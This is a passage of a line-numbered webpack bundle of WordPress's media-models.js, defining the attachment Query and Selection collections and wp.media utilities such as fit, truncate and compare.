1017 return attachment.get( orderby ) === 0;
1018 }
1019
1020 // Otherwise, we don't want any items yet.
1021 return false;
1022 };
1023
1024 /*
1025 * Observe the central `wp.Uploader.queue` collection to watch for
1026 * new matches for the query.
1027 *
1028 * Only observe when a limited number of query args are set. There
1029 * are no filters for other properties, so observing will result in
1030 * false positives in those queries.
1031 */
1032 allowed = [ 's', 'order', 'orderby', 'posts_per_page', 'post_mime_type', 'post_parent', 'author' ];
1033 if ( wp.Uploader && _( this.args ).chain().keys().difference( allowed ).isEmpty().value() ) {
1034 this.observe( wp.Uploader.queue );
1035 }
1036 },
1037 /**
1038 * Whether there are more attachments that haven't been sync'd from the server
1039 * that match the collection's query.
1040 *
1041 * @return {boolean}
1042 */
1043 hasMore: function() {
1044 return this._hasMore;
1045 },
1046 /**
1047 * Fetch more attachments from the server for the collection.
1048 *
1049 * @param {Object} [options={}]
1050 * @return {Promise}
1051 */
1052 more: function( options ) {
1053 var query = this;
1054
1055 // If there is already a request pending, return early with the Deferred object.
1056 if ( this._more && 'pending' === this._more.state() ) {
1057 return this._more;
1058 }
1059
1060 if ( ! this.hasMore() ) {
1061 return jQuery.Deferred().resolveWith( this ).promise();
1062 }
1063
1064 options = options || {};
1065 options.remove = false;
1066
1067 return this._more = this.fetch( options ).done( function( response ) {
1068 if ( _.isEmpty( response ) || -1 === query.args.posts_per_page || response.length < query.args.posts_per_page ) {
1069 query._hasMore = false;
1070 }
1071 });
1072 },
1073 /**
1074 * Overrides Backbone.Collection.sync
1075 * Overrides wp.media.model.Attachments.sync
1076 *
1077 * @param {string} method
1078 * @param {Backbone.Model} model
1079 * @param {Object} [options={}]
1080 * @return {Promise}
1081 */
1082 sync: function( method, model, options ) {
1083 var args, fallback;
1084
1085 // Overload the read method so Attachment.fetch() functions correctly.
1086 if ( 'read' === method ) {
1087 options = options || {};
1088 options.context = this;
1089 options.data = _.extend( options.data || {}, {
1090 action: 'query-attachments',
1091 post_id: wp.media.model.settings.post.id
1092 });
1093
1094 // Clone the args so manipulation is non-destructive.
1095 args = _.clone( this.args );
1096
1097 // Determine which page to query.
1098 if ( -1 !== args.posts_per_page ) {
1099 args.paged = Math.round( this.length / args.posts_per_page ) + 1;
1100 }
1101
1102 options.data.query = args;
1103 return wp.media.ajax( options );
1104
1105 // Otherwise, fall back to `Backbone.sync()`.
1106 } else {
1107 /**
1108 * Call wp.media.model.Attachments.sync or Backbone.sync
1109 */
1110 fallback = Attachments.prototype.sync ? Attachments.prototype : Backbone;
1111 return fallback.sync.apply( this, arguments );
1112 }
1113 }
1114}, /** @lends wp.media.model.Query */{
1115 /**
1116 * @readonly
1117 */
1118 defaultProps: {
1119 orderby: 'date',
1120 order: 'DESC'
1121 },
1122 /**
1123 * @readonly
1124 */
1125 defaultArgs: {
1126 posts_per_page: 80
1127 },
1128 /**
1129 * @readonly
1130 */
1131 orderby: {
1132 allowed: [ 'name', 'author', 'date', 'title', 'modified', 'uploadedTo', 'id', 'post__in', 'menuOrder' ],
1133 /**
1134 * A map of JavaScript orderby values to their WP_Query equivalents.
1135 * @type {Object}
1136 */
1137 valuemap: {
1138 'id': 'ID',
1139 'uploadedTo': 'parent',
1140 'menuOrder': 'menu_order ID'
1141 }
1142 },
1143 /**
1144 * A map of JavaScript query properties to their WP_Query equivalents.
1145 *
1146 * @readonly
1147 */
1148 propmap: {
1149 'search': 's',
1150 'type': 'post_mime_type',
1151 'perPage': 'posts_per_page',
1152 'menuOrder': 'menu_order',
1153 'uploadedTo': 'post_parent',
1154 'status': 'post_status',
1155 'include': 'post__in',
1156 'exclude': 'post__not_in',
1157 'author': 'author'
1158 },
1159 /**
1160 * Creates and returns an Attachments Query collection given the properties.
1161 *
1162 * Caches query objects and reuses where possible.
1163 *
1164 * @static
1165 * @method
1166 *
1167 * @param {object} [props]
1168 * @param {Object} [props.order]
1169 * @param {Object} [props.orderby]
1170 * @param {Object} [props.include]
1171 * @param {Object} [props.exclude]
1172 * @param {Object} [props.s]
1173 * @param {Object} [props.post_mime_type]
1174 * @param {Object} [props.posts_per_page]
1175 * @param {Object} [props.menu_order]
1176 * @param {Object} [props.post_parent]
1177 * @param {Object} [props.post_status]
1178 * @param {Object} [props.author]
1179 * @param {Object} [options]
1180 *
1181 * @return {wp.media.model.Query} A new Attachments Query collection.
1182 */
1183 get: (function(){
1184 /**
1185 * @static
1186 * @type Array
1187 */
1188 var queries = [];
1189
1190 /**
1191 * @return {Query}
1192 */
1193 return function( props, options ) {
1194 var args = {},
1195 orderby = Query.orderby,
1196 defaults = Query.defaultProps,
1197 query;
1198
1199 // Remove the `query` property. This isn't linked to a query,
1200 // this *is* the query.
1201 delete props.query;
1202
1203 // Fill default args.
1204 _.defaults( props, defaults );
1205
1206 // Normalize the order.
1207 props.order = props.order.toUpperCase();
1208 if ( 'DESC' !== props.order && 'ASC' !== props.order ) {
1209 props.order = defaults.order.toUpperCase();
1210 }
1211
1212 // Ensure we have a valid orderby value.
1213 if ( ! _.contains( orderby.allowed, props.orderby ) ) {
1214 props.orderby = defaults.orderby;
1215 }
1216
1217 _.each( [ 'include', 'exclude' ], function( prop ) {
1218 if ( props[ prop ] && ! _.isArray( props[ prop ] ) ) {
1219 props[ prop ] = [ props[ prop ] ];
1220 }
1221 } );
1222
1223 // Generate the query `args` object.
1224 // Correct any differing property names.
1225 _.each( props, function( value, prop ) {
1226 if ( _.isNull( value ) ) {
1227 return;
1228 }
1229
1230 args[ Query.propmap[ prop ] || prop ] = value;
1231 });
1232
1233 // Fill any other default query args.
1234 _.defaults( args, Query.defaultArgs );
1235
1236 // `props.orderby` does not always map directly to `args.orderby`.
1237 // Substitute exceptions specified in orderby.keymap.
1238 args.orderby = orderby.valuemap[ props.orderby ] || props.orderby;
1239
1240 queries = [];
1241
1242 // Otherwise, create a new query and add it to the cache.
1243 if ( ! query ) {
1244 query = new Query( [], _.extend( options || {}, {
1245 props: props,
1246 args: args
1247 } ) );
1248 queries.push( query );
1249 }
1250
1251 return query;
1252 };
1253 }())
1254});
1255
1256module.exports = Query;
1257
1258
1259/***/ },
1260
1261/***/ 4134
1262(module) {
1263
1264var Attachments = wp.media.model.Attachments,
1265 Selection;
1266
1267/**
1268 * wp.media.model.Selection
1269 *
1270 * A selection of attachments.
1271 *
1272 * @memberOf wp.media.model
1273 *
1274 * @class
1275 * @augments wp.media.model.Attachments
1276 * @augments Backbone.Collection
1277 */
1278Selection = Attachments.extend(/** @lends wp.media.model.Selection.prototype */{
1279 /**
1280 * Refresh the `single` model whenever the selection changes.
1281 * Binds `single` instead of using the context argument to ensure
1282 * it receives no parameters.
1283 *
1284 * @param {Array} [models=[]] Array of models used to populate the collection.
1285 * @param {Object} [options={}]
1286 */
1287 initialize: function( models, options ) {
1288 /**
1289 * call 'initialize' directly on the parent class
1290 */
1291 Attachments.prototype.initialize.apply( this, arguments );
1292 this.multiple = options && options.multiple;
1293
1294 this.on( 'add remove reset', _.bind( this.single, this, false ) );
1295 },
1296
1297 /**
1298 * If the workflow does not support multi-select, clear out the selection
1299 * before adding a new attachment to it.
1300 *
1301 * @param {Array} models
1302 * @param {Object} options
1303 * @return {wp.media.model.Attachment[]}
1304 */
1305 add: function( models, options ) {
1306 if ( ! this.multiple ) {
1307 this.remove( this.models );
1308 }
1309 /**
1310 * call 'add' directly on the parent class
1311 */
1312 return Attachments.prototype.add.call( this, models, options );
1313 },
1314
1315 /**
1316 * Fired when toggling (clicking on) an attachment in the modal.
1317 *
1318 * @param {undefined|boolean|wp.media.model.Attachment} model
1319 *
1320 * @fires wp.media.model.Selection#selection:single
1321 * @fires wp.media.model.Selection#selection:unsingle
1322 *
1323 * @return {Backbone.Model}
1324 */
1325 single: function( model ) {
1326 var previous = this._single;
1327
1328 // If a `model` is provided, use it as the single model.
1329 if ( model ) {
1330 this._single = model;
1331 }
1332 // If the single model isn't in the selection, remove it.
1333 if ( this._single && ! this.get( this._single.cid ) ) {
1334 delete this._single;
1335 }
1336
1337 this._single = this._single || this.last();
1338
1339 // If single has changed, fire an event.
1340 if ( this._single !== previous ) {
1341 if ( previous ) {
1342 previous.trigger( 'selection:unsingle', previous, this );
1343
1344 // If the model was already removed, trigger the collection
1345 // event manually.
1346 if ( ! this.get( previous.cid ) ) {
1347 this.trigger( 'selection:unsingle', previous, this );
1348 }
1349 }
1350 if ( this._single ) {
1351 this._single.trigger( 'selection:single', this._single, this );
1352 }
1353 }
1354
1355 // Return the single model, or the last model as a fallback.
1356 return this._single;
1357 }
1358});
1359
1360module.exports = Selection;
1361
1362
1363/***/ }
1364
1365/******/ });
1366/************************************************************************/
1367/******/ // The module cache
1368/******/ var __webpack_module_cache__ = {};
1369/******/
1370/******/ // The require function
1371/******/ function __webpack_require__(moduleId) {
1372/******/ // Check if module is in cache
1373/******/ var cachedModule = __webpack_module_cache__[moduleId];
1374/******/ if (cachedModule !== undefined) {
1375/******/ return cachedModule.exports;
1376/******/ }
1377/******/ // Create a new module (and put it into the cache)
1378/******/ var module = __webpack_module_cache__[moduleId] = {
1379/******/ // no module.id needed
1380/******/ // no module.loaded needed
1381/******/ exports: {}
1382/******/ };
1383/******/
1384/******/ // Execute the module function
1385/******/ __webpack_modules__[moduleId](module, module.exports, __webpack_require__);
1386/******/
1387/******/ // Return the exports of the module
1388/******/ return module.exports;
1389/******/ }
1390/******/
1391/************************************************************************/
1392/**
1393 * @output wp-includes/js/media-models.js
1394 */
1395
1396var Attachment, Attachments, l10n, media;
1397
1398/** @namespace wp */
1399window.wp = window.wp || {};
1400
1401/**
1402 * Create and return a media frame.
1403 *
1404 * Handles the default media experience.
1405 *
1406 * @alias wp.media
1407 * @memberOf wp
1408 * @namespace
1409 *
1410 * @param {Object} attributes The properties passed to the main media controller.
1411 * @return {wp.media.view.MediaFrame} A media workflow.
1412 */
1413media = wp.media = function( attributes ) {
1414 var MediaFrame = media.view.MediaFrame,
1415 frame;
1416
1417 if ( ! MediaFrame ) {
1418 return;
1419 }
1420
1421 attributes = _.defaults( attributes || {}, {
1422 frame: 'select'
1423 });
1424
1425 if ( 'select' === attributes.frame && MediaFrame.Select ) {
1426 frame = new MediaFrame.Select( attributes );
1427 } else if ( 'post' === attributes.frame && MediaFrame.Post ) {
1428 frame = new MediaFrame.Post( attributes );
1429 } else if ( 'manage' === attributes.frame && MediaFrame.Manage ) {
1430 frame = new MediaFrame.Manage( attributes );
1431 } else if ( 'image' === attributes.frame && MediaFrame.ImageDetails ) {
1432 frame = new MediaFrame.ImageDetails( attributes );
1433 } else if ( 'audio' === attributes.frame && MediaFrame.AudioDetails ) {
1434 frame = new MediaFrame.AudioDetails( attributes );
1435 } else if ( 'video' === attributes.frame && MediaFrame.VideoDetails ) {
1436 frame = new MediaFrame.VideoDetails( attributes );
1437 } else if ( 'edit-attachments' === attributes.frame && MediaFrame.EditAttachments ) {
1438 frame = new MediaFrame.EditAttachments( attributes );
1439 }
1440
1441 delete attributes.frame;
1442
1443 media.frame = frame;
1444
1445 return frame;
1446};
1447
1448/** @namespace wp.media.model */
1449/** @namespace wp.media.view */
1450/** @namespace wp.media.controller */
1451/** @namespace wp.media.frames */
1452_.extend( media, { model: {}, view: {}, controller: {}, frames: {} });
1453
1454// Link any localized strings.
1455l10n = media.model.l10n = window._wpMediaModelsL10n || {};
1456
1457// Link any settings.
1458media.model.settings = l10n.settings || {};
1459delete l10n.settings;
1460
1461Attachment = media.model.Attachment = __webpack_require__( 3343 );
1462Attachments = media.model.Attachments = __webpack_require__( 8266 );
1463
1464media.model.Query = __webpack_require__( 1288 );
1465media.model.PostImage = __webpack_require__( 9104 );
1466media.model.Selection = __webpack_require__( 4134 );
1467
1468/**
1469 * ========================================================================
1470 * UTILITIES
1471 * ========================================================================
1472 */
1473
1474/**
1475 * A basic equality comparator for Backbone models.
1476 *
1477 * Used to order models within a collection - @see wp.media.model.Attachments.comparator().
1478 *
1479 * @param {mixed} a The primary parameter to compare.
1480 * @param {mixed} b The primary parameter to compare.
1481 * @param {string} ac The fallback parameter to compare, a's cid.
1482 * @param {string} bc The fallback parameter to compare, b's cid.
1483 * @return {number} -1: a should come before b.
1484 * 0: a and b are of the same rank.
1485 * 1: b should come before a.
1486 */
1487media.compare = function( a, b, ac, bc ) {
1488 if ( _.isEqual( a, b ) ) {
1489 return ac === bc ? 0 : (ac > bc ? -1 : 1);
1490 } else {
1491 return a > b ? -1 : 1;
1492 }
1493};
1494
1495_.extend( media, /** @lends wp.media */{
1496 /**
1497 * media.template( id )
1498 *
1499 * Fetch a JavaScript template for an id, and return a templating function for it.
1500 *
1501 * See wp.template() in `wp-includes/js/wp-util.js`.
1502 *
1503 * @borrows wp.template as template
1504 */
1505 template: wp.template,
1506
1507 /**
1508 * media.post( [action], [data] )
1509 *
1510 * Sends a POST request to WordPress.
1511 * See wp.ajax.post() in `wp-includes/js/wp-util.js`.
1512 *
1513 * @borrows wp.ajax.post as post
1514 */
1515 post: wp.ajax.post,
1516
1517 /**
1518 * media.ajax( [action], [options] )
1519 *
1520 * Sends an XHR request to WordPress.
1521 * See wp.ajax.send() in `wp-includes/js/wp-util.js`.
1522 *
1523 * @borrows wp.ajax.send as ajax
1524 */
1525 ajax: wp.ajax.send,
1526
1527 /**
1528 * Scales a set of dimensions to fit within bounding dimensions.
1529 *
1530 * @param {Object} dimensions
1531 * @return {Object}
1532 */
1533 fit: function( dimensions ) {
1534 var width = dimensions.width,
1535 height = dimensions.height,
1536 maxWidth = dimensions.maxWidth,
1537 maxHeight = dimensions.maxHeight,
1538 constraint;
1539
1540 /*
1541 * Compare ratios between the two values to determine
1542 * which max to constrain by. If a max value doesn't exist,
1543 * then the opposite side is the constraint.
1544 */
1545 if ( ! _.isUndefined( maxWidth ) && ! _.isUndefined( maxHeight ) ) {
1546 constraint = ( width / height > maxWidth / maxHeight ) ? 'width' : 'height';
1547 } else if ( _.isUndefined( maxHeight ) ) {
1548 constraint = 'width';
1549 } else if ( _.isUndefined( maxWidth ) && height > maxHeight ) {
1550 constraint = 'height';
1551 }
1552
1553 // If the value of the constrained side is larger than the max,
1554 // then scale the values. Otherwise return the originals; they fit.
1555 if ( 'width' === constraint && width > maxWidth ) {
1556 return {
1557 width : maxWidth,
1558 height: Math.round( maxWidth * height / width )
1559 };
1560 } else if ( 'height' === constraint && height > maxHeight ) {
1561 return {
1562 width : Math.round( maxHeight * width / height ),
1563 height: maxHeight
1564 };
1565 } else {
1566 return {
1567 width : width,
1568 height: height
1569 };
1570 }
1571 },
1572 /**
1573 * Truncates a string by injecting an ellipsis into the middle.
1574 * Useful for filenames.
1575 *
1576 * @param {string} string
1577 * @param {number} [length=30]
1578 * @param {string} [replacement=&hellip;]
1579 * @return {string} The string, unless length is greater than string.length.
1580 */
1581 truncate: function( string, length, replacement ) {
1582 length = length || 30;
1583 replacement = replacement || '&hellip;';
1584
1585 if ( string.length <= length ) {
1586 return string;
1587 }
1588
1589 return string.substr( 0, length / 2 ) + replacement + string.substr( -1 * length / 2 );
1590 }
1591});
1592
1593/**
1594 * ========================================================================
1595 * MODELS
1596 * ========================================================================
1597 */
1598/**
1599 * wp.media.attachment
1600 *
1601 * @static
1602 * @param {string} id A string used to identify a model.
1603 * @return {wp.media.model.Attachment}
1604 */
1605media.attachment = function( id ) {
1606 return Attachment.get( id );
1607};
1608
1609/**
1610 * A collection of all attachments that have been fetched from the server.
1611 *
1612 * @static
1613 * @member {wp.media.model.Attachments}
1614 */
1615Attachments.all = new Attachments();
1616
1617/**
1618 * wp.media.query
1619 *
1620 * Shorthand for creating a new Attachments Query.
1621 *
1622 * @param {Object} [props]
1623 * @return {wp.media.model.Attachments}
1624 */
1625media.query = function( props ) {
1626 return new Attachments( null, {
1627 props: _.extend( _.defaults( props || {}, { orderby: 'date' } ), { query: true } )
1628 });
1629};
1630
1631/******/ })()
1632;